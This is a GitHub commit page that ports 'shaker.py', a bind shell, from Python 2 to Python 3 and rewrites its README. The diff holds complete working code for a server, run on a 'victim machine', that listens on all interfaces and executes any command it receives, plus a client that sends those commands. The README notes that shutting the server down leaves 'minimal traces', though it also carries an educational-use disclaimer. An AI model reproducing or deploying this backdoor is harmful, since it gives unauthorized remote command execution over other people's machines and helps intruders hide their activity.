Skip to content

Commit d51cce8

Browse files
Manmeet SinghManmeet Singh
authored andcommitted
New bind shell in python3
1 parent 04629fb commit d51cce8

File tree

2 files changed

+156
-135
lines changed

2 files changed

+156
-135
lines changed

README.md

Lines changed: 57 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,64 @@
1-
# bind-shell-python
2-
This is a basic bind shell script in python 2 , containing both server and client classes. This bind shell can work on both Windows and Linux OS.
1+
# Bind Shell in Python 3
32

4-
## Server Mode
3+
A simple and educational Python 3-based bind shell script that supports both **server** and **client** modes. Compatible with both **Linux** and **Windows** systems.
54

6-
Server mode of script should be started at victim machine by executing bellow commands in terminal of victim machine:<br />
7-
`python shaker.py server [port to bind]` <br />
8-
This will open specified port and listen for incoming shell commands from a user running this script in Client mode.
5+
> ⚠️ **Disclaimer:** This tool is for **educational purposes only**. Unauthorized use on systems you do not own or have explicit permission to test may be illegal.
96
10-
## Client Mode
7+
---
118

12-
Client mode od script should be used to communicate with victim machine running this script in server mode , inshort, we can run this script in client mode to communicate with device running this bind shell in server mode.<br />
13-
Two things we should know before running this script in client mode are :<br />
14-
1. IP of victim machine.
15-
2. Port on which this bind shell is running.<br />
16-
Run bellow terminal command to start client mode :<br />
17-
`python shaker.py client [port on which bind shell is running] [IP of victim machine]`<br />
18-
This will connect with the victim machine
9+
## Features
1910

20-
## Stoping Server Mode From Client Side
11+
- ✅ Python 3 compatible
12+
- ✅ Works on Windows and Linux
13+
- ✅ Simple and readable structure
14+
- ✅ Clean shutdown support with `exit` command
15+
- ✅ Sends current directory with every response
2116

22-
Now we have the shell and want to shut the bind shell running on victim machine, then we just have to type "exit" on running shell at client side . It will stop the script on victim side and port will go free. So there will be no traces that somebody bind the port. Many a time people don't know how to shut the bind port off , this script will do this for you. <br />
17+
---
18+
19+
## Usage
20+
21+
### Server Mode
22+
23+
Start the server on the target/victim machine:
24+
25+
```
26+
python3 shaker.py server [port]
27+
```
28+
* Listens on all interfaces (0.0.0.0) for incoming connections.
29+
* Executes commands sent from the client and returns output.
30+
31+
###Client Mode
32+
Start the client to control the remote machine:
33+
```
34+
python3 shaker.py client [port] [server_ip]
35+
36+
```
37+
**You need**:
38+
39+
* IP address of the machine running the server.
40+
* Port on which the server is listening.
41+
42+
Once connected:
43+
44+
* You will get a shell prompt.
45+
* Type shell commands and receive output.
46+
* Type `exit` to shut down the server and end the session.
47+
48+
### Shutting Down the Server
49+
50+
To stop the bind shell cleanly:
51+
52+
* From the client session, type:
53+
`exit`
54+
- This will:
55+
- Terminate the server process.
56+
- Release the bound port.
57+
- Leave minimal traces.
58+
59+
## Contact
60+
61+
Have questions or suggestions? Reach out to @_j0lt on Twitter.
62+
63+
© This script is meant for ethical hacking and learning. Always get proper authorization.
2364

24-
If any issues or comments connect with me at twitter @_j0lt

shaker.py

Lines changed: 99 additions & 118 deletions
Original file line numberDiff line numberDiff line change
@@ -1,134 +1,115 @@
1-
# Require python2
2-
# Bind shell by j0lt
3-
# This script is just for giving reference that how bind shell look like in python, you can modify as per your need.
4-
# Usage Format :
5-
# For Running Server : shaker.py server [port]
6-
# For Running client : shaker.py client [port] [ip of server]
7-
81
import socket
9-
from sys import argv
10-
from os import _exit
2+
import sys
113
import json
12-
from zlib import compress,decompress
13-
from platform import system
14-
15-
16-
class server:
4+
import zlib
5+
import platform
6+
import subprocess
177

18-
def __init__(self,port):
19-
self.ip = '0.0.0.0'
8+
class BindShellServer:
9+
def __init__(self, port):
10+
self.host = '0.0.0.0'
2011
self.port = port
21-
self.l = "cd"
22-
self.o = system()
23-
if self.o == "Linux" or self.o == "SunOS":
24-
self.l = "pwd"
12+
self.init_cmd = 'pwd' if platform.system() in ['Linux', 'SunOS'] else 'cd'
2513

2614
def start(self):
2715
try:
28-
so = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
29-
so.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
30-
so.bind((self.ip,self.port))
31-
except socket.error:
32-
print "There is some error with address...\t The Server could not be started"
33-
_exit(1)
34-
try:
35-
so.listen(1)
36-
host = socket.gethostbyname(socket.gethostname())
37-
print "[%s:%s] Waiting for connection ..."%(host,self.port)
38-
16+
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
17+
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
18+
server_socket.bind((self.host, self.port))
19+
server_socket.listen(1)
20+
print(f"[{socket.gethostbyname(socket.gethostname())}:{self.port}] Waiting for connection...")
21+
22+
conn, addr = server_socket.accept()
23+
with conn:
24+
print(f"Connected with {addr[0]}")
25+
welcome_msg = {
26+
"msg": f"Connected with {platform.system()} at {socket.gethostbyname(socket.gethostname())}",
27+
"location": self.run_cmd(self.init_cmd)[1]
28+
}
29+
conn.sendall(zlib.compress(json.dumps(welcome_msg).encode()))
30+
31+
while True:
32+
try:
33+
command = conn.recv(2048)
34+
if not command:
35+
break
36+
command = command.decode().strip()
37+
if command.lower() == 'exit':
38+
break
39+
output, location = self.run_cmd(command)
40+
response = {"output": output, "location": location}
41+
conn.sendall(zlib.compress(json.dumps(response).encode()))
42+
except Exception as e:
43+
print(f"Connection error: {e}")
44+
break
3945

40-
while 1:
41-
42-
ob , address = so.accept()
43-
print "Connected with %s "%address[0]
44-
ob.send(compress(json.dumps({"msg":"Connected With %s os at %s"%(self.o,host) , "location":self.__cmd(self.l)[1]}).encode()))
45-
while 1:
46-
try:
47-
command = ob.recv(2048)
48-
assert(command != "exit")
49-
reply = self.__cmd(command)
50-
data = json.dumps({"output":reply[0], "location":reply[1]})
51-
ob.send(compress(data.encode()))
52-
except socket.error:
53-
print "Connection Ended..\n Reconnecting..."
54-
break
55-
except (KeyboardInterrupt,AssertionError):
56-
print "Stoping server .."
57-
ob.send("Server Stopped..")
58-
ob.close()
59-
so.close()
60-
_exit(1)
61-
62-
except socket.error:
63-
print "Connection problem .."
64-
so.close()
65-
_exit(1)
6646
except KeyboardInterrupt:
67-
print "Stoping server .."
68-
so.close()
69-
_exit(1)
47+
print("Server interrupted by user.")
48+
except Exception as e:
49+
print(f"Server error: {e}")
7050

71-
def __cmd(self,command):
72-
from os import popen
51+
def run_cmd(self, command):
7352
try:
74-
q = popen(self.l).read()
75-
o = popen(command).read()
76-
77-
return (o,q)
78-
except:
79-
return "Sorry!! Command not executed"
80-
81-
class client:
82-
83-
def __init__(self,ip, port):
53+
location = subprocess.getoutput(self.init_cmd)
54+
output = subprocess.getoutput(command)
55+
return output, location
56+
except Exception as e:
57+
return f"Command failed: {e}", ""
58+
59+
class BindShellClient:
60+
def __init__(self, ip, port):
8461
self.ip = ip
8562
self.port = port
8663

8764
def start(self):
88-
so = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
89-
while 1:
90-
try:
91-
so.connect((self.ip,self.port))
92-
data = json.loads(decompress(so.recv(2048)).decode())
93-
print data.get('msg')
94-
except socket.error:
95-
print "Connection Error ... or Server is down"
96-
if raw_input("Try Reconnect[Y/n]").lower() == 'n':
97-
_exit(1)
98-
else:
99-
continue
100-
101-
while 1:
102-
try:
103-
104-
a = raw_input('%s>'%data.get('location').replace('\n',''))
105-
so.sendall(a)
106-
assert(a.lower() != 'exit')
107-
data = json.loads(decompress(so.recv(2048)).decode())
108-
print data.get('output')
109-
except (socket.error,AssertionError) :
110-
print "Server Disconnected"
111-
so.close()
112-
_exit(1)
113-
114-
if __name__ == "__main__":
115-
116-
try:
117-
assert(argv[1].lower() in ["client", "server"])
118-
assert (int(argv[2]) in range(1, 65535))
119-
120-
port = int(argv[2])
121-
if argv[1].lower() == "client":
122-
ip = argv[3]
123-
assert (socket.inet_aton(argv[2]))
124-
s = client(ip, port)
125-
s.start()
126-
127-
else:
128-
s = server(port)
129-
s.start()
130-
131-
except:
132-
print "The Parameter provided are wrong \n\n\tUsage Format : shaker.py [client/server] [port] [ip{just for client}]"
133-
_exit(1)
65+
while True:
66+
try:
67+
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
68+
client_socket.connect((self.ip, self.port))
69+
data = json.loads(zlib.decompress(client_socket.recv(2048)).decode())
70+
print(data.get("msg"))
71+
72+
while True:
73+
try:
74+
command = input(f"{data.get('location').strip()}> ")
75+
if command.lower() == 'exit':
76+
client_socket.sendall(command.encode())
77+
print("Exiting client.")
78+
return
79+
client_socket.sendall(command.encode())
80+
response = json.loads(zlib.decompress(client_socket.recv(2048)).decode())
81+
print(response.get("output"))
82+
data = response
83+
except Exception as e:
84+
print(f"Server disconnected: {e}")
85+
return
86+
except (ConnectionRefusedError, socket.error):
87+
print("Connection failed. Server may be down.")
88+
retry = input("Try reconnect? [Y/n]: ").strip().lower()
89+
if retry == 'n':
90+
break
91+
92+
def main():
93+
if len(sys.argv) < 3:
94+
print("Usage: python3 shaker.py [client/server] [port] [ip (client only)]")
95+
sys.exit(1)
96+
97+
role = sys.argv[1].lower()
98+
port = int(sys.argv[2])
99+
100+
if role == 'server':
101+
server = BindShellServer(port)
102+
server.start()
103+
elif role == 'client':
104+
if len(sys.argv) != 4:
105+
print("Client mode requires IP address.")
106+
sys.exit(1)
107+
ip = sys.argv[3]
108+
client = BindShellClient(ip, port)
109+
client.start()
110+
else:
111+
print("Invalid role. Choose 'client' or 'server'.")
112+
113+
if __name__ == '__main__':
114+
main()
134115

0 commit comments

Comments
 (0)